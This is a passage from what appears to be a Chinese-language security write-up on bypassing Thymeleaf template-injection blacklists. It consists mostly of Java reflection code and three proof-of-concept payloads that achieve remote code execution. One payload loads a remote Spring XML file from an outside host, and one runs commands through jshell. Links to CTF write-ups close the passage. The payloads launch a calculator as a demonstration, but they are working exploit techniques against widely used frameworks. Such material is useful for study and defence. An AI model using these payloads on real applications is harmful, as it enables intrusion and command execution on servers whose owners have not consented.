Class<?> objectArrayClass = (Class<?>) loadClassMethod.invoke(classLoaderUtilsClass, "[Ljava.lang.Object;");
// 通过反射获取Runtime对象
Object runtimeObject = IntrospectionUtils.callMethodN(getRuntimeMethod, "invoke", new Object[]{null, null}, new Class[]{objectClass, objectArrayClass});
// 通过反射调用Runtime对象的exec方法
IntrospectionUtils.callMethodN(runtimeObject, "exec", new String[]{"calc"}, new Class[]{stringClass});
}
}

POC2

这个 POC 利用常见的 ClassPathXmlApplicationContext 类来 RCE ,但是需要出网:

1
2
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<p th:text='${__${T(org. apache.el.util.ReflectionUtil).forName(\"com.zaxxer.hikari.util.UtilityElf\").createInstance(\"org.\"+\"springframework.context.support.ClassPathXmlApplicationContext\", T(org. apache.el.util.ReflectionUtil).forName(\"org.\"+\"springframework.context.support.ClassPathXmlApplicationContext\"), \"http://ip/test.xml\")}__}'></p>

POC3

这里利用 jshell 来命令执行。这里的 UtilityElfSpringBoot-JDBC 依赖中的类。

1
2
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<p th:text='${__${T(org. apache.tomcat.util.IntrospectionUtils).callMethodN(T(com.zaxxer.hikari.util.UtilityElf).createInstance('jakarta.el.ELProcessor', T(ch.qos.logback.core.util.Loader).loadClass('jakarta.el.ELProcessor')), 'eval', new java.lang.String[]{'\"\".getClass().forName(\"jdk.jshell.JShell\").getMethods()[6].invoke(\"\".getClass().forName(\"jdk.jshell.JShell\")).eval(\"java.lang.Runtime.getRuntime().exec(\\\"calc\\\")\")'}, T(org. apache.el.util.ReflectionUtil).toTypeArray(new java.lang.String[]{\"java.lang.String\"}))}__}'></p>

参考文章

https://blog.0kami.cn/blog/2024/thymeleaf%20ssti%203.1.2%20%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87/
https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/
https://blog.ruozhi.xyz/2024/01/28/chatter-box-%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90/#Step-3-%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%BB%95%E8%BF%87
https://github.com/p1n93r/SpringBootAdmin-thymeleaf-SSTI